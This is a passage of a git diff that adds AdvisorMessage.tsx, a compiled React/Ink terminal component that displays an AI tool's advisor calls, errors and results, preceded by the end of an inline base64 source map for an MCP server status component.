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
\ No newline at end of file
diff --git a/cc-haha/src/components/messages/AdvisorMessage.tsx b/cc-haha/src/components/messages/AdvisorMessage.tsx
new file mode 100644
index 0000000..4a11fa4
--- /dev/null
+++ b/cc-haha/src/components/messages/AdvisorMessage.tsx
@@ -0,0 +1,158 @@
+import { c as _c } from "react/compiler-runtime";
+import figures from 'figures';
+import React from 'react';
+import { Box, Text } from '../../ink.js';
+import type { AdvisorBlock } from '../../utils/advisor.js';
+import { renderModelName } from '../../utils/model/model.js';
+import { jsonStringify } from '../../utils/slowOperations.js';
+import { CtrlOToExpand } from '../CtrlOToExpand.js';
+import { MessageResponse } from '../MessageResponse.js';
+import { ToolUseLoader } from '../ToolUseLoader.js';
+type Props = {
+  block: AdvisorBlock;
+  addMargin: boolean;
+  resolvedToolUseIDs: Set<string>;
+  erroredToolUseIDs: Set<string>;
+  shouldAnimate: boolean;
+  verbose: boolean;
+  advisorModel?: string;
+};
+export function AdvisorMessage(t0) {
+  const $ = _c(30);
+  const {
+    block,
+    addMargin,
+    resolvedToolUseIDs,
+    erroredToolUseIDs,
+    shouldAnimate,
+    verbose,
+    advisorModel
+  } = t0;
+  if (block.type === "server_tool_use") {
+    let t1;
+    if ($[0] !== block.input) {
+      t1 = block.input && Object.keys(block.input).length > 0 ? jsonStringify(block.input) : null;
+      $[0] = block.input;
+      $[1] = t1;
+    } else {
+      t1 = $[1];
+    }
+    const input = t1;
+    const t2 = addMargin ? 1 : 0;
+    let t3;
+    if ($[2] !== block.id || $[3] !== resolvedToolUseIDs) {
+      t3 = resolvedToolUseIDs.has(block.id);
+      $[2] = block.id;
+      $[3] = resolvedToolUseIDs;
+      $[4] = t3;
+    } else {
+      t3 = $[4];
+    }
+    const t4 = !t3;
+    let t5;
+    if ($[5] !== block.id || $[6] !== erroredToolUseIDs) {
+      t5 = erroredToolUseIDs.has(block.id);
+      $[5] = block.id;
+      $[6] = erroredToolUseIDs;
+      $[7] = t5;
+    } else {
+      t5 = $[7];
+    }
+    let t6;
+    if ($[8] !== shouldAnimate || $[9] !== t4 || $[10] !== t5) {
+      t6 = <ToolUseLoader shouldAnimate={shouldAnimate} isUnresolved={t4} isError={t5} />;
+      $[8] = shouldAnimate;
+      $[9] = t4;
+      $[10] = t5;
+      $[11] = t6;
+    } else {
+      t6 = $[11];
+    }
+    let t7;
+    if ($[12] === Symbol.for("react.memo_cache_sentinel")) {
+      t7 = <Text bold={true}>Advising</Text>;
+      $[12] = t7;
+    } else {
+      t7 = $[12];
+    }
+    let t8;
+    if ($[13] !== advisorModel) {
+      t8 = advisorModel ? <Text dimColor={true}> using {renderModelName(advisorModel)}</Text> : null;
+      $[13] = advisorModel;
+      $[14] = t8;
+    } else {
+      t8 = $[14];
+    }
+    let t9;
+    if ($[15] !== input) {
+      t9 = input ? <Text dimColor={true}> · {input}</Text> : null;
+      $[15] = input;
+      $[16] = t9;
+    } else {
+      t9 = $[16];
+    }
+    let t10;
+    if ($[17] !== t2 || $[18] !== t6 || $[19] !== t8 || $[20] !== t9) {
+      t10 = <Box marginTop={t2} paddingRight={2} flexDirection="row">{t6}{t7}{t8}{t9}</Box>;
+      $[17] = t2;
+      $[18] = t6;
+      $[19] = t8;
+      $[20] = t9;
+      $[21] = t10;
+    } else {
+      t10 = $[21];
+    }
+    return t10;
+  }
+  let body;
+  bb0: switch (block.content.type) {
+    case "advisor_tool_result_error":
+      {
+        let t1;
+        if ($[22] !== block.content.error_code) {
+          t1 = <Text color="error">Advisor unavailable ({block.content.error_code})</Text>;
+          $[22] = block.content.error_code;
+          $[23] = t1;
+        } else {
+          t1 = $[23];
+        }
+        body = t1;
+        break bb0;
+      }
+    case "advisor_result":
+      {
+        let t1;
+        if ($[24] !== block.content.text || $[25] !== verbose) {
+          t1 = verbose ? <Text dimColor={true}>{block.content.text}</Text> : <Text dimColor={true}>{figures.tick} Advisor has reviewed the conversation and will apply the feedback <CtrlOToExpand /></Text>;
+          $[24] = block.content.text;
+          $[25] = verbose;
+          $[26] = t1;
+        } else {
+          t1 = $[26];
+        }
+        body = t1;
+        break bb0;
+      }
+    case "advisor_redacted_result":
+      {
+        let t1;
+        if ($[27] === Symbol.for("react.memo_cache_sentinel")) {
+          t1 = <Text dimColor={true}>{figures.tick} Advisor has reviewed the conversation and will apply the feedback</Text>;
+          $[27] = t1;
+        } else {
+          t1 = $[27];
+        }
+        body = t1;
+      }
+  }
+  let t1;
+  if ($[28] !== body) {
+    t1 = <Box paddingRight={2}><MessageResponse>{body}</MessageResponse></Box>;
+    $[28] = body;
+    $[29] = t1;
+  } else {
+    t1 = $[29];
+  }
+  return t1;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmaWd1cmVzIiwiUmVhY3QiLCJCb3giLCJUZXh0IiwiQWR2aXNvckJsb2NrIiwicmVuZGVyTW9kZWxOYW1lIiwianNvblN0cmluZ2lmeSIsIkN0cmxPVG9FeHBhbmQiLCJNZXNzYWdlUmVzcG9uc2UiLCJUb29sVXNlTG9hZGVyIiwiUHJvcHMiLCJibG9jayIsImFkZE1hcmdpbiIsInJlc29sdmVkVG9vbFVzZUlEcyIsIlNldCIsImVycm9yZWRUb29sVXNlSURzIiwic2hvdWxkQW5pbWF0ZSIsInZlcmJvc2UiLCJhZHZpc29yTW9kZWwiLCJBZHZpc29yTWVzc2FnZSIsInQwIiwiJCIsIl9jIiwidHlwZSIsInQxIiwiaW5wdXQiLCJPYmplY3QiLCJrZXlzIiwibGVuZ3RoIiwidDIiLCJ0MyIsImlkIiwiaGFzIiwidDQiLCJ0NSIsInQ2IiwidDciLCJTeW1ib2wiLCJmb3IiLCJ0OCIsInQ5IiwidDEwIiwiYm9keSIsImJiMCIsImNvbnRlbnQiLCJlcnJvcl9jb2RlIiwidGV4dCIsInRpY2siXSwic291cmNlcyI6WyJBZHZpc29yTWVzc2FnZS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IGZpZ3VyZXMgZnJvbSAnZmlndXJlcydcbmltcG9ydCBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgQWR2aXNvckJsb2NrIH0gZnJvbSAnLi4vLi4vdXRpbHMvYWR2aXNvci5qcydcbmltcG9ydCB7IHJlbmRlck1vZGVsTmFtZSB9IGZyb20gJy4uLy4uL3V0aWxzL21vZGVsL21vZGVsLmpzJ1xuaW1wb3J0IHsganNvblN0cmluZ2lmeSB9IGZyb20gJy4uLy4uL3V0aWxzL3Nsb3dPcGVyYXRpb25zLmpzJ1xuaW1wb3J0IHsgQ3RybE9Ub0V4cGFuZCB9IGZyb20gJy4uL0N0cmxPVG9FeHBhbmQuanMnXG5pbXBvcnQgeyBNZXNzYWdlUmVzcG9uc2UgfSBmcm9tICcuLi9NZXNzYWdlUmVzcG9uc2UuanMnXG5pbXBvcnQgeyBUb29sVXNlTG9hZGVyIH0gZnJvbSAnLi4vVG9vbFVzZUxvYWRlci5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgYmxvY2s6IEFkdmlzb3JCbG9ja1xuICBhZGRNYXJnaW46IGJvb2xlYW5cbiAgcmVzb2x2ZWRUb29sVXNlSURzOiBTZXQ8c3RyaW5nPlxuICBlcnJvcmVkVG9vbFVzZUlEczogU2V0PHN0cmluZz5cbiAgc2hvdWxkQW5pbWF0ZTogYm9vbGVhblxuICB2ZXJib3NlOiBib29sZWFuXG4gIGFkdmlzb3JNb2RlbD86IHN0cmluZ1xufVxuXG5leHBvcnQgZnVuY3Rpb24gQWR2aXNvck1lc3NhZ2Uoe1xuICBibG9jayxcbiAgYWRkTWFyZ2luLFxuICByZXNvbHZlZFRvb2xVc2VJRHMsXG4gIGVycm9yZWRUb29sVXNlSURzLFxuICBzaG91bGRBbmltYXRlLFxuICB2ZXJib3NlLFxuICBhZHZpc29yTW9kZWwsXG59OiBQcm9wcyk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGlmIChibG9jay50eXBlID09PSAnc2VydmVyX3Rvb2xfdXNlJykge1xuICAgIGNvbnN0IGlucHV0ID1cbiAgICAgIGJsb2NrLmlucHV0ICYmIE9iamVjdC5rZXlzKGJsb2NrLmlucHV0KS5sZW5ndGggPiAwXG4gICAgICAgID8ganNvblN0cmluZ2lmeShibG9jay5pbnB1dClcbiAgICAgICAgOiBudWxsXG4gICAgcmV0dXJuIChcbiAgICAgIDxCb3ggbWFyZ2luVG9wPXthZGRNYXJnaW4gPyAxIDogMH0gcGFkZGluZ1JpZ2h0PXsyfSBmbGV4RGlyZWN0aW9uPVwicm93XCI+XG4gICAgICAgIDxUb29sVXNlTG9hZGVyXG4gICAgICAgICAgc2hvdWxkQW5pbWF0ZT17c2hvdWxkQW5pbWF0ZX1cbiAgICAgICAgICBpc1VucmVzb2x2ZWQ9eyFyZXNvbHZlZFRvb2xVc2VJRHMuaGFzKGJsb2NrLmlkKX1cbiAgICAgICAgICBpc0Vycm9yPXtlcnJvcmVkVG9vbFVzZUlEcy5oYXMoYmxvY2suaWQpfVxuICAgICAgICAvPlxuICAgICAgICA8VGV4dCBib2xkPkFkdmlzaW5nPC9UZXh0PlxuICAgICAgICB7YWR2aXNvck1vZGVsID8gKFxuICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPiB1c2luZyB7cmVuZGVyTW9kZWxOYW1lKGFkdmlzb3JNb2RlbCl9PC9UZXh0PlxuICAgICAgICApIDogbnVsbH1cbiAgICAgICAge2lucHV0ID8gPFRleHQgZGltQ29sb3I+IMK3IHtpbnB1dH08L1RleHQ+IDogbnVsbH1cbiAgICAgIDwvQm94PlxuICAgIClcbiAgfVxuXG4gIGxldCBib2R5OiBSZWFjdC5SZWFjdE5vZGVcbiAgc3dpdGNoIChibG9jay5jb250ZW50LnR5cGUpIHtcbiAgICBjYXNlICdhZHZpc29yX3Rvb2xfcmVzdWx0X2Vycm9yJzpcbiAgICAgIGJvZHkgPSAoXG4gICAgICAgIDxUZXh0IGNvbG9yPVwiZXJyb3JcIj5cbiAgICAgICAgICBBZHZpc29yIHVuYXZhaWxhYmxlICh7YmxvY2suY29udGVudC5lcnJvcl9jb2RlfSlcbiAgICAgICAgPC9UZXh0PlxuICAgICAgKVxuICAgICAgYnJlYWtcbiAgICBjYXNlICdhZHZpc29yX3Jlc3VsdCc6XG4gICAgICBib2R5ID0gdmVyYm9zZSA/IChcbiAgICAgICAgPFRleHQgZGltQ29sb3I+e2Jsb2NrLmNvbnRlbnQudGV4dH08L1RleHQ+XG4gICAgICApIDogKFxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICB7ZmlndXJlcy50aWNrfSBBZHZpc29yIGhhcyByZXZpZXdlZCB0aGUgY29udmVyc2F0aW9uIGFuZCB3aWxsIGFwcGx5XG4gICAgICAgICAgdGhlIGZlZWRiYWNrIDxDdHJsT1RvRXhwYW5kIC8+XG4gICAgICAgIDwvVGV4dD5cbiAgICAgIClcbiAgICAgIGJyZWFrXG4gICAgY2FzZSAnYWR2aXNvcl9yZWRhY3RlZF9yZXN1bHQnOlxuICAgICAgYm9keSA9IChcbiAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAge2ZpZ3VyZXMudGlja30gQWR2aXNvciBoYXMgcmV2aWV3ZWQgdGhlIGNvbnZlcnNhdGlvbiBhbmQgd2lsbCBhcHBseVxuICAgICAgICAgIHRoZSBmZWVkYmFja1xuICAgICAgICA8L1RleHQ+XG4gICAgICApXG4gICAgICBicmVha1xuICB9XG5cbiAgcmV0dXJuIChcbiAgICA8Qm94IHBhZGRpbmdSaWdodD17Mn0+XG4gICAgICA8TWVzc2FnZVJlc3BvbnNlPntib2R5fTwvTWVzc2FnZVJlc3BvbnNlPlxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxPQUFPLE1BQU0sU0FBUztBQUM3QixPQUFPQyxLQUFLLE1BQU0sT0FBTztBQUN6QixTQUFTQyxHQUFHLEVBQUVDLElBQUksUUFBUSxjQUFjO0FBQ3hDLGNBQWNDLFlBQVksUUFBUSx3QkFBd0I7QUFDMUQsU0FBU0MsZUFBZSxRQUFRLDRCQUE0QjtBQUM1RCxTQUFTQyxhQUFhLFFBQVEsK0JBQStCO0FBQzdELFNBQVNDLGFBQWEsUUFBUSxxQkFBcUI7QUFDbkQsU0FBU0MsZUFBZSxRQUFRLHVCQUF1QjtBQUN2RCxTQUFTQyxhQUFhLFFBQVEscUJBQXFCO0FBRW5ELEtBQUtDLEtBQUssR0FBRztFQUNYQyxLQUFLLEVBQUVQLFlBQVk7RUFDbkJRLFNBQVMsRUFBRSxPQUFPO0VBQ2xCQyxrQkFBa0IsRUFBRUMsR0FBRyxDQUFDLE1BQU0sQ0FBQztFQUMvQkMsaUJBQWlCLEVBQUVELEdBQUcsQ0FBQyxNQUFNLENBQUM7RUFDOUJFLGFBQWEsRUFBRSxPQUFPO0VBQ3RCQyxPQUFPLEVBQUUsT0FBTztFQUNoQkMsWUFBWSxDQUFDLEVBQUUsTUFBTTtBQUN2QixDQUFDO0FBRUQsT0FBTyxTQUFBQyxlQUFBQyxFQUFBO0VBQUEsTUFBQUMsQ0FBQSxHQUFBQyxFQUFBO0VBQXdCO0lBQUFYLEtBQUE7SUFBQUMsU0FBQTtJQUFBQyxrQkFBQTtJQUFBRSxpQkFBQTtJQUFBQyxhQUFBO0lBQUFDLE9BQUE7SUFBQUM7RUFBQSxJQUFBRSxFQVF2QjtFQUNOLElBQUlULEtBQUssQ0FBQVksSUFBSyxLQUFLLGlCQUFpQjtJQUFBLElBQUFDLEVBQUE7SUFBQSxJQUFBSCxDQUFBLFFBQUFWLEtBQUEsQ0FBQWMsS0FBQTtNQUVoQ0QsRUFBQSxHQUFBYixLQUFLLENBQUFjLEtBQTZDLElBQW5DQyxNQUFNLENBQUFDLElBQUssQ0FBQ2hCLEtBQUssQ0FBQWMsS0FBTSxDQUFDLENBQUFHLE1BQU8sR0FBRyxDQUV6QyxHQURKdEIsYUFBYSxDQUFDSyxLQUFLLENBQUFjLEtBQ2hCLENBQUMsR0FGUixJQUVRO01BQUFKLENBQUEsTUFBQVYsS0FBQSxDQUFBYyxLQUFBO01BQUFKLENBQUEsTUFBQUcsRUFBQTtJQUFBO01BQUFBLEVBQUEsR0FBQUgsQ0FBQTtJQUFBO0lBSFYsTUFBQUksS0FBQSxHQUNFRCxFQUVRO0lBRVEsTUFBQUssRUFBQSxHQUFBakIsU0FBUyxHQUFULENBQWlCLEdBQWpCLENBQWlCO0lBQUEsSUFBQWtCLEVBQUE7SUFBQSxJQUFBVCxDQUFBLFFBQUFWLEtBQUEsQ0FBQW9CLEVBQUEsSUFBQVYsQ0FBQSxRQUFBUixrQkFBQTtNQUdkaUIsRUFBQSxHQUFBakIsa0JBQWtCLENBQUFtQixHQUFJLENBQUNyQixLQUFLLENBQUFvQixFQUFHLENBQUM7TUFBQVYsQ0FBQSxNQUFBVixLQUFBLENBQUFvQixFQUFBO01BQUFWLENBQUEsTUFBQVIsa0JBQUE7TUFBQVEsQ0FBQSxNQUFBUyxFQUFBO0lBQUE7TUFBQUEsRUFBQSxHQUFBVCxDQUFBO0lBQUE7SUFBakMsTUFBQVksRUFBQSxJQUFDSCxFQUFnQztJQUFBLElBQUFJLEVBQUE7SUFBQSxJQUFBYixDQUFBLFFBQUFWLEtBQUEsQ0FBQW9CLE